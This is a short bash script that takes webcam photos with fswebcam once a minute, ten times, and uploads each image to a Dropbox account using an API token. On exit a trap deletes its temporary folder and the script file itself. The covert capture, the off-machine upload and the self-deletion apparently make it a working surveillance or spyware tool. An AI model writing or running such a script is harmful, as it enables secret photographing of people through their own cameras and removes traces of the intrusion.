#!/bin/bash USER=$(whoami) DIR=/home/$USER/tmp TOKEN=your_dropbox_token mkdir -p $DIR function remove_folder { rm -rf "$DIR" rm -rf "/home/$USER/script.sh" } trap remove_folder EXIT # execute the for, for some times.. for i in {1..10} do NAME=$(date +%s%N).jpg fswebcam --no-banner $DIR/$NAME curl -X POST https://content.dropboxapi.com/2/files/upload \ --header "Authorization: Bearer $TOKEN" \ --header "Dropbox-API-Arg: {\"path\": \"/$NAME\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" \ --header "Content-Type: application/octet-stream" \ --data-binary @$DIR/$NAME sleep 60 done